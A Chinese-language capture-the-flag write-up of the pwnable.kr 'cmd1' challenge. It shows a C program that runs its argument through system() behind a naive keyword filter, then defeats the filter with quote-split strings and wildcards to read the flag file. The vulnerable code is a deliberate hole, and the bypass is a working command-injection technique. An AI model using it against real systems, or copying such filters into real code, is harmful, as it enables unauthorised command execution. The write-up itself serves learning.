Keep Calm and Carry On

pwnable-kr-cmd1

一、分析

cmd1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
// 过滤器,命令行参数不能包含以下几个字符串
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");// 设置一个环境变量,路径
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

二、利用

程序很清楚,就是命令行参数不能出现这3个字符串,但是又希望cat flag,因此可以探索有什么方式可以出现这几个字符串同样可以达到同样的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ which cat
/bin/cat
# 1. 字符串可以拼接
$ echo "f""l""a""g"
flag
# 2. 使用通配符*
$ cat cmd1.*
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

因此可以有两种思路来输入命令行参数:

1
2
3
4
5
cmd1@prowl:~$ ./cmd1 '/bin/cat fla*'
mommy now I get what PATH environment is for :)

cmd1@prowl:~$ ./cmd1 "/bin/cat \"f\"\"l\"\"a\"\"g\""
mommy now I get what PATH environment is for :)